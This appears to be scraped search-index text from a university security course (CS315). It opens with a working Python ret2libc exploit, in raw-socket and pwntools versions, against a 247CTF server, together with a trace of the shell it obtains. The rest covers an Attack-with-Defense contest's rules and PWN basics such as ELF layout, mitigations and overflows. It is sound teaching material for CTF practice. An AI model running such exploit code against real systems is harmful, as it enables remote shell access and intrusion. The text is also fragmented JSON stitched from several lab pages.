import socket\nimport struct\n\nhostname = 'ad520e503a0ec4e0.247ctf.com'\nport = 50341\n\nconn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # TCP socket\nconn.connect((hostname, port))\n\nprint('[*] Connected to {}:{}'.format(hostname, port))\n\nconn.recv(1024)\n\npayload = b'A' * 0x2c\npayload += struct.pack('<I', 0x08048390) # puts@plt\npayload += struct.pack('<I', 0x0804853d) # main\npayload += struct.pack('<I', 0x0804a018) # puts@got\nconn.sendall(b'%b\\r\\n' % payload)\nprint('[*] Payload sent: {}B'.format(len(payload)))\n\ndata = conn.recv(1024).split(b'\\n')[1]\nputs_leak = struct.unpack('<I', data[:4])[0]\nprint('[*] puts leaked address: {:#x}'.format(puts_leak))\n\nlibc_base = puts_leak - 0x67360\nprint('[*] libc base address: {:#x}'.format(libc_base))\n\nlibc_system = libc_base + 0x3cd10\nlibc_exit = libc_base + 0x2ff70\nlibc_shell = libc_base + 0x17b8cf\n\npayload = b'A' * 0x2c\npayload += struct.pack('<I', libc_system)\npayload += struct.pack('<I', libc_exit)\npayload += struct.pack('<I', libc_shell)\nconn.sendall(b'%b\\r\\n' % payload)\nprint('[*] Payload sent: {}B'.format(len(payload)))\nconn.recv(1024)\n\nprint('[*] Interactive shell\\n')\n\ntry:\n command = input('$ ')\n\n while command != 'exit':\n conn.sendall('{}\\n'.format(command).encode('utf-8'))\n print(conn.recv(1024).decode('utf-8'), end='')\n command = input('$ ')\nexcept (EOFError, KeyboardInterrupt):\n pass\n\nconn.close()\n
And an execution trace:
$ python3 exploit-remote.py\n[*] Connected to ad520e503a0ec4e0.247ctf.com:50341\n[*] Payload sent: 56B\n[*] puts leaked address: 0xf7d5d360\n[*] libc base address: 0xf7cf6000\n[*] Payload sent: 56B\n[*] Interactive shell\n\n$ ls\nchall\nflag_[0-9]+.txt\n$ cat flag_[0-9]+.txt\n247CTF{[a-f0-9]{32}}\n$ exit\n
"},{"location":"CS315/Lab%2011%20Return-to-libc%20%26%20Return%20Oriented%20Programming/#pwntools","title":"pwntools","text":"This blog post is already long enough, so I\u2019ll only show how exploit-remote.py
script looks when ported to pwntools. I\u2019ll leave all details up to you but the library is pretty straightforward:
import pwn\n\nhostname = 'ad520e503a0ec4e0.247ctf.com'\nport = 50341\n\nio = pwn.remote(hostname, port)\n\nelf = pwn.ELF('non_executable_stack')\nlibc = pwn.ELF('libc6-i386_2.27-3ubuntu1_amd64.so')\n\npayload = b'A' * 0x2C\npayload += pwn.p32(elf.plt['puts'])\npayload += pwn.p32(elf.symbols['main'])\npayload += pwn.p32(elf.got['puts'])\n\nio.recvline()\nio.sendline(payload)\npwn.log.info('Payload sent: {}B'.format(len(payload)))\nio.recvline()\nputs_leak = pwn.u32(io.recvline()[:4])\npwn.log.info('puts leaked address: {:#x}'.format(puts_leak))\n\nlibc_base = puts_leak - libc.symbols['puts']\npwn.log.info('libc base address: {:#x}'.format(libc_base))\nlibc_system = libc_base + libc.symbols['system']\nlibc_exit = libc_base + libc.symbols['exit']\nlibc_shell = libc_base + next(libc.search(b'/bin/sh\\x00'))\n\npayload = b'A' * 0x2C\npayload += pwn.p32(libc_system)\npayload += pwn.p32(libc_exit)\npayload += pwn.p32(libc_shell)\n\nio.recvline()\nio.sendline(payload)\npwn.log.info('Payload sent: {}B'.format(len(payload)))\nio.recvline()\nio.interactive()\n
"},{"location":"CS315/Lab%2011%20Return-to-libc%20%26%20Return%20Oriented%20Programming/#assignment","title":"Assignment","text":""},{"location":"CS315/Lab%2011%20Return-to-libc%20%26%20Return%20Oriented%20Programming/#believe-in-the-rop","title":"Believe in the ROP","text":"A tutorial to the ROP.
Attachment
"},{"location":"CS315/Lab%2011%20Return-to-libc%20%26%20Return%20Oriented%20Programming/#list","title":"List","text":"Do you know return to libc?
Attachment
"},{"location":"CS315/Lab%2011%20Return-to-libc%20%26%20Return%20Oriented%20Programming/#ebpf","title":"eBPF","text":"A challenge, a real challenge, for your last CTF for this semester! \ud83c\udfb6\ud83c\udfb6\ud83c\udfb6
nc 103.125.216.173 9009
Attachment
"},{"location":"CS315/Lab%2012%20Attack-with-Defense/","title":"Attack with Defense","text":"Attack with Defense \u662f CTF \u653b\u9632\u6bd4\u8d5b\u6a21\u5f0f\u3002\u533a\u522b\u4e8e\u4f20\u7edf\u7684 Jeopardy \u89e3\u9898\u6a21\u5f0f\uff0cAWD \u66f4\u6ce8\u91cd\u65f6\u6548\u6027\uff0c\u4e14\u5bf9\u53c2\u8d5b\u9009\u624b\u7684\u653b\u51fb\u3001\u9632\u5fa1\u6280\u80fd\u5747\u6709\u6240\u8981\u6c42\u3002
"},{"location":"CS315/Lab%2012%20Attack-with-Defense/#_1","title":"\u5b9a\u4e49","text":"AWD \u4e2d\u6709\u5982\u4e0b\u5b9a\u4e49\uff1a
\u603b\u8f6e\u6570 = \u6bd4\u8d5b\u603b\u65f6\u957f / \u5355\u8f6e\u65f6\u957f
\u3002\u6210\u529f\u5229\u7528\u5176\u4ed6\u961f\u4f0d\u9776\u673a\u4e0a\u7684\u6f0f\u6d1e\uff0c\u83b7\u53d6\u5230\u5bf9\u65b9\u9776\u673a\u4e0a\u7684 Flag \u5e76\u63d0\u4ea4\uff0c\u5373\u653b\u51fb\u6210\u529f\u3002\u6b64\u65f6\uff0c\u88ab\u653b\u51fb\u7684\u961f\u4f0d\u7684\u9776\u673a\u5c06\u663e\u793a\u4e3a\u201c\u88ab\u653b\u9677\u201d\u72b6\u6001\u3002
\u5f53\u9776\u673a\u4e0a\u7684 Flag \u88ab\u5176\u4ed6\u961f\u4f0d\u63d0\u4ea4\u65f6\uff0c\u8be5\u9776\u673a\u5c06\u663e\u793a\u4e3a\u201c\u88ab\u653b\u9677\u201d\u72b6\u6001\u3002
\u5f53 Check \u811a\u672c\u8fd0\u884c\u540e\uff0c\u68c0\u6d4b\u5230\u9776\u673a\u670d\u52a1\u4e0d\u53ef\u7528\u6216\u529f\u80fd\u4e0d\u5168\uff0c\u5219\u8be5\u9776\u673a\u5c06\u663e\u793a\u4e3a\u201c\u5b95\u673a\u201d\u72b6\u6001\u3002
"},{"location":"CS315/Lab%2012%20Attack-with-Defense/#_7","title":"\u4e00\u8f6e\u7ed3\u675f\u65f6","text":"\u8fd9\u91cc\u5047\u8bbe\u5728 Cardinal \u914d\u7f6e\u6587\u4ef6\u4e2d\uff0c\u653b\u51fb\u5931\u5206\u4e3a 50 \u5206\uff0c\u5b95\u673a\u5931\u5206\u4e3a 50 \u5206\u3002
"},{"location":"CS315/Lab%2012%20Attack-with-Defense/#_9","title":"\u88ab\u653b\u51fb\u5931\u5206","text":"\u88ab\u653b\u51fb\u7684\u9776\u673a\uff0c\u5c06\u51cf\u53bb 50 \u5206\u3002
"},{"location":"CS315/Lab%2012%20Attack-with-Defense/#_10","title":"\u653b\u51fb\u5f97\u5206","text":"\u5728\u8be5\u8f6e\u4e2d\u6210\u529f\u653b\u51fb\u8be5\u9776\u673a\u7684\u6240\u6709\u961f\u4f0d\uff0c\u4e00\u8d77\u5e73\u5206\u8be5\u9776\u673a\u6263\u5206\u65f6\u5931\u53bb\u7684\u7684\u5206\u6570\u3002\u5f97\u5206\u52a0\u5230\u5404\u81ea\u76f8\u5e94\u9898\u76ee\u7684\u9776\u673a\u4e0a\u3002
\u4f8b\u5982\uff1aJohn \u653b\u51fb\u4e86 Alice \u7684 Web1 \u9776\u673a\uff1bMashiro \u653b\u51fb\u4e86 Alice \u7684 Web1 \u9776\u673a\u3002
\u5219 Alice \u7684 Web1 \u9776\u673a -50 \u5206\u3002John \u548c Mashiro \u5404\u81ea\u7684 Web1 \u9776\u673a\u5e73\u5206\u8fd9\u51cf\u53bb\u7684 50 \u5206\u3002\u5373 John \u548c Mashiro \u6bcf\u4eba +25 \u5206\u3002
\u6b64\u65f6\u5168\u90e8\u961f\u4f0d\u7684\u52a0\u5206\u4e0e\u6263\u5206\u4e4b\u548c\uff0c\u4f9d\u7136\u4e3a\u96f6\u3002
"},{"location":"CS315/Lab%2012%20Attack-with-Defense/#checkdown","title":"\u5b95\u673a\uff08CheckDown\uff09\u5931\u5206","text":"\u88ab Check \u68c0\u6d4b\u5230\u670d\u52a1\u5b95\u673a\u7684\u9776\u673a\uff0c\u5c06\u51cf\u53bb 50 \u5206\u3002
"},{"location":"CS315/Lab%2012%20Attack-with-Defense/#_11","title":"\u670d\u52a1\u6b63\u5e38\u5f97\u5206","text":"\u5728\u8be5\u8f6e\u4e2d\u9898\u76ee\u670d\u52a1\u6b63\u5e38\u7684\u9776\u673a\uff0c\u5e73\u5206\u8be5\u9898\u76ee\u4e0b\uff0c\u6240\u6709\u5b95\u673a\u9776\u673a\u5931\u53bb\u7684\u5206\u6570\u3002
\u4f8b\u5982\uff1aJohn\u3001Alice\u3001Mashiro \u7684 Pwn2 \u9776\u673a\u88ab\u68c0\u6d4b\u5224\u5b9a\u4e3a\u670d\u52a1\u5b95\u673a\uff0cAsuna\u3001Emiria \u7684 Pwn2 \u9776\u673a\u4e00\u76f4\u670d\u52a1\u6b63\u5e38\u3002
\u5219 John\u3001Alice\u3001Mashiro \u7684 Pwn2 \u9776\u673a\u5404 -50 \u5206\u3002Asuna \u548c Emiria \u7684 Pwn2 \u9776\u673a\u5e73\u5206\u8fd9\u51cf\u53bb\u7684 150 \u5206\u3002\u5373 Asuna \u548c Emiria \u6bcf\u4eba\u5404 +75 \u5206\u3002
\u6b64\u65f6\u5168\u90e8\u961f\u4f0d\u7684\u52a0\u5206\u4e0e\u6263\u5206\u4e4b\u548c\uff0c\u4f9d\u7136\u4e3a\u96f6\u3002
"},{"location":"CS315/Lab%2012%20Attack-with-Defense/#_12","title":"\u6bd4\u8d5b\u5b89\u6392","text":""},{"location":"CS315/Lab%2012%20Attack-with-Defense/#_13","title":"\u6bd4\u8d5b\u65f6\u95f4","text":"\u6bd4\u8d5b\u65f6\u95f4\u572812\u670819\u65e5\uff0c\u4e0b\u534817:00\u5f00\u59cb\uff0c\u81f3\u665a20:50\u7ed3\u675f\u3002
\u6bd4\u8d5b\u5b89\u6392\u5206\u4e3a\u4e09\u6bb5\uff1a
\u961f\u4f0d\u73af\u5883\uff1a\u6bcf\u4e00\u652f\u961f\u4f0d\u5c06\u4f1a\u62e5\u6709\u4e24\u4e2a\u9776\u673a\u73af\u5883\uff08docker\uff09\uff0c\u5176\u4e2d\u6bcf\u4e2a\u9776\u673a\u6709\u4e00\u79cd\u4e0d\u540c\u7684\u670d\u52a1\uff0c\u5206\u522b\u4e3a\u4e8c\u8fdb\u5236\u5229\u7528\u7684pwn\uff0c\u4ee5\u53ca\u96c6\u6210\u4e86\u591a\u9879\u7f51\u7edc\u529f\u80fd\u7684web\u5229\u7528\u3002\u901a\u8fc7\u7aef\u53e3\u4e0e\u5916\u754c\u901a\u4fe1\uff0c\u4e5f\u53ef\u4ee5\u901a\u8fc7\u5176\u4ed6\u961f\u4f0d\u9776\u673a\u73af\u5883\u7684\u7aef\u53e3\u8bbf\u95ee\u5176\u4ed6\u961f\u4f0d\u7684\u670d\u52a1\uff0c\u5e76\u8fdb\u884c\u653b\u51fb\u3002
\u5982\u679c\u8981\u5bf9\u81ea\u5df1\u7684\u670d\u52a1\u8fdb\u884c\u4fee\u590d\uff0c\u9700\u8981\u901a\u8fc7SSH\u670d\u52a1\u7aef\u53e3\u767b\u5f55\uff0c\u793a\u4f8b\u4ee3\u7801\u4e3a\uff1a
$ ssh ctf@<ip> -p<port>\n
"},{"location":"CS315/Lab%2012%20Attack-with-Defense/#_15","title":"\u5206\u6570\u8bbe\u8ba1","text":"\u6bd4\u8d5b\u5206\u6570\uff1a
score = min(max(AWD_score*(1+#bonus*0.1)*ratio, 0), score_cap)\n* score: final score of AWD part.\n* score_cap: content value 130.\n* AWD_score: score in the AWD competition.\n* ratio: AWD_score to score ratio, content value 3.25E-2.\n
score = min(max(6626\\*1.6\\*0.0325, 0), 130) = min(max(136.552, 0), 130) = 130
\uff0c\u4e5f\u5c31\u53ef\u4ee5\u5f97\u5230\u6ee1\u5206\u3002\u6bd4\u8d5b\u7981\u6b62\u7684\u89c4\u5219\uff1a
\u6bd4\u8d5b\u5141\u8bb8\u7684\u89c4\u5219\uff1a
\u5982\u679c\u9047\u5230\u4e86\u96be\u4ee5\u754c\u5b9a\u5408\u6cd5\u6027\u7684\u653b\u51fb\u65b9\u6cd5\uff0c\u53ef\u4ee5\u5728\u6bd4\u8d5b\u65f6\u63d0\u51fa\u610f\u89c1\u3002
\u5bf9\u6bd4\u8d5b\u89c4\u5219\u7684\u8fdd\u53cd\u5c06\u4f1a\u5bfc\u81f4\u6210\u7ee9\u4f5c\u5e9f\uff0c\u4e25\u91cd\u60c5\u51b5\u4e0b\u53ef\u80fd\u5bfc\u81f4\u6bd4\u8d5b\u91cd\u65b0\u5f00\u5c55\uff0c\u5e76\u4e14\u5c06\u4f1a\u8bb0\u5f55\u8fdb\u5165\u6284\u88ad\u6863\u6848\uff0c\u60c5\u8282\u7279\u522b\u4e25\u91cd\u7684\uff0c\u5c06\u5bfc\u81f4\u672c\u95e8\u8bfe\u7a0b0\u5206\uff0c\u4e14\u5c06\u4f1a\u603b\u7ed3\u4e3a\u6587\u6863\u53d1\u5e03\u7ed9\u8ba1\u7b97\u673a\u7cfb/\u56fe\u7075\u9662\u3002\u5e0c\u671b\u5927\u5bb6\u4e50\u5728\u53c2\u4e0e\uff0c\u8bf7\u52ff\u8003\u8651\u6b6a\u95e8\u90aa\u9053\u3002
\u5982\u679c\u5bf9\u4e8e\u6bd4\u8d5b\u4e8b\u9879\u4ecd\u7136\u6709\u7591\u95ee\uff0c\u53ef\u4ee5\u4e0eTA\uff08\u674e\u7167\uff09\u8fdb\u884c\u8ba8\u8bba\u3002
"},{"location":"CS315/Lab%202%20Secure%20Coding%20and%20Buffer%20Overflows/","title":"Lab 2: Secure Coding and Buffer Overflows","text":"Students may be confused about the term \"PWN\". Because \"PWN\" does not mean something specific like Web or CRYPTO. In fact, \"PWN\" is an onomatopoeic word that represents the \"bang\" sound of a hacker gaining access to a computer through a vulnerability attack, and there is also a theory that \"PWN\" comes from the word \"own\" that controls a computer. There is also a theory that \"PWN\" comes from the word \"own\" which controls the computer. In short, the method or process of gaining access to a computer through a binary vulnerability is known as PWN.
"},{"location":"CS315/Lab%202%20Secure%20Coding%20and%20Buffer%20Overflows/#pwn-basics","title":"PWN Basics","text":""},{"location":"CS315/Lab%202%20Secure%20Coding%20and%20Buffer%20Overflows/#what-is-pwn","title":"What is PWN","text":"In CTF, PWN is mainly used to obtain flags by exploiting vulnerabilities in a program to cause memory corruption in order to obtain the shell of a remote computer. a more common form of PWN topic is to put an executable program written in C/C++ running on a target server, and the participant interacts with the server with data through the network. Because of the general vulnerability in the topic, an attacker can construct a program that sends malicious data to the remote server, causing the remote server program to execute the code the attacker wishes, thus taking control of the remote server.
"},{"location":"CS315/Lab%202%20Secure%20Coding%20and%20Buffer%20Overflows/#how-to-learn-pwn","title":"How to learn PWN","text":"Reverse engineering is the basis of PWN, and the knowledge structure of both is similar. Therefore, sometimes binary security is used to refer to both reverse engineering and PWN. the threshold of entry to binary security is relatively high, requiring participants to study and accumulate for a long period of time and have a certain knowledge base before they can get started. This leads many beginners to give up before getting started. To get started in PWN, a certain foundation in reverse engineering is essential, which in turn leads to a further scarcity of PWN participants.
The purpose of this chapter is to lead the student to get started, so it will focus on PWN vulnerability exploitation techniques. The part about the basics cannot be introduced in detail due to the limitation of space. If the student does not understand the process of learning, you can spend some time to understand the basics, and then go back to consider how to solve, it may be clear.
The core knowledge of binary security consists of four main categories.
1. Programming language and compilation principle
Usually, the PWN topics in CTF will be written in C/C++ language. In order to write attack scripts, learning a scripting language like Python is also a must. In addition, the possibility of writing PWN questions in languages other than C/C++, such as Java or Lua, cannot be ruled out. Therefore, it is necessary for the participants to have a wide exposure to some mainstream languages. For reverse engineering, how to decompile better and faster is a challenge. Whether it is manual disassembly or writing automated code analysis and vulnerability mining tools, knowledge of compilation principles is very beneficial.
2. Assembly Language
Assembly language, the core of reverse engineering, is also the first hurdle that PWN beginners have to face. If you get involved in the field of binary, assembly language is not bypassed. Only by understanding how the CPU works from the bottom can you understand why, through program vulnerabilities, an attacker can make the program execute the code set.
3. Operating system and computer architecture
The operating system, the core software running on the computer, is often the target of attackers PWN. To understand exactly how a program is executed and how it performs a variety of tasks, participants must learn about operating systems and computer architecture. In the CTF, many exploits and techniques also require the use of some features of the operating system to reach. Also, knowledge of operating systems is necessary to reverse and understand a program.
4. Data structures and algorithms
Programming is always about data structures and algorithms. If you want to understand the logic of program execution, it is necessary to understand the algorithms and data structures used.
The above is not so much the core of binary security as it is the core knowledge of computer science. If we compare various vulnerability techniques to various moves in martial arts novels, this knowledge is the \"internal\" martial arts. Moves are easy to learn and limited, but the road to improve their \"internal\" is endless. The important thing to improve their own binary level is not to learn a variety of fancy use of skills, but to spend time to learn the basics.
Unfortunately, some programmers and information security practitioners are often in a hurry to learn all kinds of vulnerability exploitation techniques. These core elements of computer science are not studied seriously instead. Students who sincerely hope to achieve good results in the CTF, and in the real reality of vulnerability mining, these basic content is often more important than a variety of exploitation techniques. Do not fall into the trap of only learning various PWN techniques by \"building a platform out of sand\".
"},{"location":"CS315/Lab%202%20Secure%20Coding%20and%20Buffer%20Overflows/#linux-basics","title":"Linux Basics","text":"Most of the PWN topics in the current CTF use the Linux platform, so it is necessary to master the relevant Linux basics. The following is an introduction to the content of Linux that is closely related to PWN utilization.
"},{"location":"CS315/Lab%202%20Secure%20Coding%20and%20Buffer%20Overflows/#system-and-function-calls-in-linux","title":"System and function calls in Linux","text":"Like 32-bit Windows programs, 32-bit Linux programs follow the principle of stack balancing during operation, with ESP and EBP as stack pointer and frame pointer registers and EAX as return value. Based on the source code and compiled results (see Figure 6-1-1), it can be seen that the argument passing follows the traditional cdecl
calling convention, i.e., function arguments are put on the stack from right to left, and the function arguments are cleared by the caller.
64-bit Linux programs, on the other hand, use the fast call
calling method for passing parameters. The main difference between the 64-bit version compiled from the same source code and 32-bit is that the first six parameters of the function are passed in order using the RDI, RSI, RDX, RCX, R8, R9 registers, and if there are extra parameters, then the same stack is used for passing as in 32-bit, see Figure 6-1-2.
The PWN process also often requires direct calls to API functions provided by the operating system. Unlike in Windows, where the system API is called using the \"win32 api\" function, Linux is also characterized by its concise system calls.
In the 32-bit Linux operating system, the system call requires the execution of the int 0x80
soft interrupt instruction. At this point, eax
stores the system call number, and the parameters of the system call are stored in EBX, ECX, EDX, ESI, EDI, EBP registers in turn. The return result of the call is stored in EAX. In fact, the system call can be regarded as a special function call, but using the int 0x80
instruction instead of the call instruction. the function address in the call instruction becomes the system call number stored in EAX, and the parameters are passed using registers instead. Compared to the 32-bit system, the 64-bit Linux system call instruction becomes syscall, the registers for passing parameters become RDI, RSI, RDX, R10, R8, R9, and the system call corresponding to the system call number is changed. An example for the read system call is shown in Figure 6-1-3.
There are only 300+ system calls available for the Linux operating system, and the number may increase in the future with the kernel version update, but it is quite streamlined compared to Windows' hefty API. As for the call number and the parameters that should be passed to each system call, the reader can consult the Linux help manual.
"},{"location":"CS315/Lab%202%20Secure%20Coding%20and%20Buffer%20Overflows/#elf-file-structure","title":"ELF file structure","text":"The executable file format under Linux is ELF (Executable and Linkable Format), similar to the PE format of Windows. The ELF header includes the ELF magic code, the computer architecture in which the program is running, the program entry, etc. It can be read by the \"readelf-h\" command and is generally used to find the entry point of some programs. The ELF file consists of several sections (sections), in which various data are stored. The sections in ELF are used to store a variety of data, including:
\u2756 .text section - holds all the code needed to run a program.
\u2756 .rdata section - holds unmodifiable static data used by the program, such as strings.
\u2756 .data section - holds data that can be modified by a program, such as global variables that have been initialized in C, etc.
\u2756 .bss section - used to store program modifiable data, which, unlike .data, is not initialized and therefore does not occupy ELF space. Although the .bss section exists in the section header table, there is no corresponding data in the file. The system does not request an empty block of memory for the actual .bss section until after the program starts execution.
\u2756 The .plt section and the .got section - these two sections are needed in conjunction with the program to call functions in the dynamic link library (SO file) to get the address of the called function.
Due to the extensibility of the ELF format, it is even possible to create custom sections when compiling a linked program.ELF can actually include a lot of content unrelated to program execution, such as program version, Hash, or some symbolic debugging information. However, the operating system does not parse the information in ELF when executing an ELF program, but rather the ELF header and Program Head Table. The purpose of parsing the ELF header is to determine the instruction set architecture, ABI version, and other system support information of the program, and to read the program entry. Then, Linux parses the Program Head Table to determine which program segments need to be loaded. The program header table is actually an array of Program Head structures, each of which contains information about the segment's description. Like Windows, Linux also has a memory mapping file feature. When executing a program, the operating system needs to load the specified contents of the ELF file into the specified location in memory according to the segment information specified in the program header table. Therefore, the content of each program header mainly includes the segment type, its address in the ELF file, which address to load into memory, segment length, memory read/write attributes, etc.
For example, the memory read/write attribute of the segment that holds code in ELF is readable and executable, while the segment that holds data is readable and writable or read-only, etc. Note that some segments may not have corresponding data content in the ELF file, such as uninitialized static memory. In order to compress the ELF file, only one field will exist in the program header table, and the operating system will perform the memory request and zero setting operations. The operating system also does not care about the exact contents in each segment, but simply loads each segment as required and points the PC pointer to the program entry.
Here some people may be confused about the relationship between sections and segments and their difference, but in fact both are just two forms of explaining the data in ELF. Just like a person has multiple identities, ELF uses both segment and section formats to describe a piece of data, only with a different focus. The operating system doesn't need to care about the specific function of the data in ELF, it just needs to know which piece of data should be loaded into which piece of memory and the read/write properties of the memory, so it will divide the data according to segments.
A compiler, debugger, or IDA needs to know what the data represents, so it parses the data by sections. Usually, sections are more subdivided than segments, e.g. .text, rdata are often divided into a segment. Some sections that are purely used to describe additional information about the program and have nothing to do with program operation will not even have a corresponding segment and will not be loaded into memory during program operation.
"},{"location":"CS315/Lab%202%20Secure%20Coding%20and%20Buffer%20Overflows/#vulnerability-mitigation-measures-under-linux","title":"Vulnerability Mitigation Measures under Linux","text":"Modern operating systems use a number of means to mitigate the risk of a computer being attacked by a vulnerability, which are collectively referred to as vulnerability mitigation measures.
1. NX
NX protection, also known as DEP in Windows, is the setting of permissions on program memory at the granularity of pages through the Memory Protect Unit (MPU) mechanism of modern operating systems, with the basic rule that writable and executable permissions are mutually exclusive. Therefore, it is not possible to execute arbitrary code directly using shellcode in a program with NX protection enabled. All memory that can be modified to write shellcode is not executable, and all code data that can be executed is not modifiable.
NX protection is enabled by default in GCC and can be turned off by adding the \"-z execstack\" parameter at compile time.
2. Stack Canary
Stack Canary protection is a protection mechanism designed specifically for stack overflow attacks. Since the main goal of stack overflow attack is to overwrite the return address of the high bit of the function stack by overflow, the idea is to write a word-length random data before the function starts execution, that is, before the return address, and check whether the value is changed before the function returns, if it is changed, it is considered that a stack overflow has occurred. The program will terminate directly.
GCC uses Stack Canary protection by default, and the way to turn it off is to add the \"-fno-stack-protector\" parameter at compile time.
3. ASLR (Address Space Layout Randomization)
The purpose of ASLR is to randomize the stack address of the program and the load address of the dynamic link library, which are not read/write executable unmapped memory between these addresses to reduce the attacker's knowledge of the program memory structure. In this way, even if the attacker has laid out the shellcode and can control the jump, it still cannot execute the shellcode because the memory address structure is unknown.
ASLR is a system-level protection mechanism, and is turned off by modifying the contents of the /proc/sys/kernel/randomize_va_space file to 0.
4. PIE
Very similar to ASLR protection, the purpose of PIE protection is to allow randomized loading of the address of the executable ELF, thus making the memory structure of the program completely unknown to the attacker and further improving the security of the program.
GCC is compiled with PIE enabled by adding the parameter \"-fpic-pie\". Newer versions of GCC have PIE enabled by default, and can be turned off by setting \"-no-pie\".
5. Full Relro
Full Relro protection is related to the Lazy Binding mechanism under Linux, and its main function is to prohibit the reading and writing of the .GOT.PLT table and some other related memory, thus preventing attackers from writing to the .GOT.PLT table to carry out attack exploitation means.
GCC enables Full Relro by adding the parameter \"-z relro\".
"},{"location":"CS315/Lab%202%20Secure%20Coding%20and%20Buffer%20Overflows/#role-of-got-and-plt","title":"Role of GOT and PLT","text":".GOT.PLT and .PLT are two special sections that are usually present in ELF files. ELF compilation cannot know the load address of dynamic link libraries such as libc. If a program wants to call a function in a dynamically linked library, it must use .GOT.PLT and .PLT in conjunction to complete the call.
In Figure 6-1-4, call_printf does not jump to the location of the actual _printf function. Because the program does not determine the address of the printf function at compile time, this call instruction actually jumps to the _printf entry in the .PLT table through a relative jump. Figure 6-1-5 shows the .PLT entries corresponding to _printf. All external dynamic link library functions used in ELF will have corresponding .PLT entries.
The .PLT table is also a piece of code that retrieves an address from memory and jumps to it. The address is the actual address of _printf, and the place where the actual address of the _printf function is stored is the .GOT.PLT table in Figure 6-1-6.
.PLT table is actually an array of function pointers, which holds the addresses of all external functions used in ELF. The initialization of the .GOT.PLT table is done by the operating system.
Of course, due to the very special Lazy Binding mechanism of Linux. .GOT.PLT table is initialized during the first call to the function in ELF without Full Rello enabled. That is, a function must have been called before the real address of the function is stored in the .GOT.PLT table. The Lazy Binding mechanism is not discussed here, interested students can check the relevant information by themselves.
.GOT.PLT and .PLT are useful for PWN? .PLT can directly call some external function, which will be of great help in the subsequent introduction of stack overflow. Second, since .GOT.PLT usually stores the address of a function in libc, you can get the address of libc by reading .GOT.PLT in the exploit, or control the execution flow of the program by writing . GOT.PLT for vulnerability exploitation is very common in CTF.
"},{"location":"CS315/Lab%202%20Secure%20Coding%20and%20Buffer%20Overflows/#integer-overflow","title":"Integer overflow","text":"Integer overflow is a relatively simple element in PWN, of course, it does not mean that the topic of integer overflow is relatively simple, just that integer overflow itself is not very complex, the situation is less. But integer overflow itself is not exploitable, and needs to be combined with other means to achieve the purpose of exploitation.
"},{"location":"CS315/Lab%202%20Secure%20Coding%20and%20Buffer%20Overflows/#integer-operations","title":"Integer operations","text":"Computers do not store infinitely large integers, and the values represented by integer types in computers are only a subset of natural numbers. For example, in a 32-bit C program, the length of the unsigned int type is 32 bits, and the largest number that can be represented is 0xffffffff. If this number is added by 1, the result 0x100000000 will exceed the range that can be represented by 32 bits, and only the lower 32 bits can be intercepted, and eventually the number will become 0. This is unsigned overflow.
There are 4 kinds of overflow cases in computers, taking 32-bit integers as an example.
\u2756 Unsigned overflow: The unsigned number 0xffffffff plus 1 becomes 0.
\u2756 Unsigned underflow: The unsigned number 0 minus 1 becomes 0xffffffff.
\u2756 Signed overflow: The case where the signed positive number 0x7fffffff plus 1 becomes negative 0x80000000, i.e., decimal-2147483648.
\u2756 Unsigned underflow: the case where the signed negative number 0x80000000 minus 1 becomes positive 0x7fffffff.
In addition to this, direct conversion of signed numbers to unsigned numbers can result in abrupt changes in the size of integers. For example, the binary representation of the signed number -1 and the unsigned number 0xffffffff is the same, and a direct conversion of the two can cause the program to produce unintended effects.
"},{"location":"CS315/Lab%202%20Secure%20Coding%20and%20Buffer%20Overflows/#how-integer-overflows-are-used","title":"How integer overflows are used","text":"Although integer overflows are simple, they are not actually simple to exploit. Unlike memory corruptions such as stack overflows, which can be directly exploited by overwriting memory, integer overflows often require some conversion to overflow. There are two common conversions.
1. integer overflow into buffer overflow
An integer overflow can mutate a very small number into a very large number. For example, an unsigned underflow can turn a smaller number representing the buffer size into a very large integer by subtraction. This results in a buffer overflow.
Another case is to bypass some length checks by entering a negative number. For example, some programs will use signed numbers to represent length. Then a negative number can be used to bypass the length limit check. Most system APIs use unsigned numbers to represent length, so the negative number will become a large positive number and lead to overflow.
2. integer overflow to array overrun
The idea of array overrun is very simple. In C, the operation of array indexing is achieved by simply adding the array pointer to the index, and does not check the bounds. Therefore, a very large index will access the data after the array, and if the index is negative, then it will also access the memory before the array.
Usually, integer overflows to array bounds are more common. In the process of array indexing, the array index is also multiplied by the length of the array element to calculate the actual address of the element. In the case of an array of type int, for example, the array index needs to be multiplied by 4 to calculate the offset. If the bounds check is bypassed by passing in a negative number, then normally only the memory before the array can be accessed. However, since the index is multiplied by 4, it is still possible to index the data after the array or even the entire memory space. For example, to index the contents at 0x1000 bytes after the array, just pass in the negative number -2147482624, which is expressed as 0x80000400 in hexadecimal numbers, and then multiply it by the element length 4, which is 0x00001000 due to the unsigned integer overflow result. as you can see, array overruns are easier to exploit compared to integer overflows to buffer overflows.
"},{"location":"CS315/Lab%202%20Secure%20Coding%20and%20Buffer%20Overflows/#stack-overflow","title":"Stack Overflow","text":"The stack is a simple and classical data structure whose main feature is the use of first-in, last-out (FILO) access to the data on the stack. Generally, the last data placed on the stack is called the top of the stack, and the location where it is stored is called the top of the stack. The operation of storing data on the stack is called push, and the operation of removing data from the top of the stack is called pop. For more details about the stack, please refer to the data structure related materials.
Since the sequence of function calls is such that the first function called returns last, the stack is ideal for storing intermediate variables and other temporary data used during the operation of a function.
Currently, most major instruction architectures (x86, ARM, MIPS, etc.) support stack operations at the instruction set level and are designed with special registers to hold the top-of-stack addresses. In most cases, putting data on the stack will cause the top of the stack to grow from the high to the low address of memory.
1. Stack Overflow Principle
Stack overflow is one of the buffer overflows. Local variables of a function are usually stored on the stack. If these buffers overflow, it is a stack overflow. The most classic way to exploit stack overflow is to overwrite the return address of a function in order to hijack the control flow of the program.
The x86 architecture typically uses the instruction call to call a function and the instruction ret to return. when the CPU executes the call instruction, it first puts the address of the next instruction of the current call instruction on the stack and then jumps to the called function. When the called function needs to return, it only needs to execute the ret instruction, and the CPU will come out with the address of the top of the stack and assign it to the EIP register. This address, which is used to tell the called function where it should return to the calling function, is called the return address. Ideally, the address taken out is the address deposited by the previous call to call. This allows the program to return to the parent function and continue execution. The compiler will always make sure that even if the child function uses the stack and modifies the top of the stack, it will restore the top of the stack to the state it was in when it first entered the function before the function returns, thus ensuring that the return address fetched will not be incorrect.
Use the following command to compile the program of Example 6-3-1, turn off address randomization and stack overflow protection.
gcc -fno-stack-protector stack.c -o stack -no-pie\n
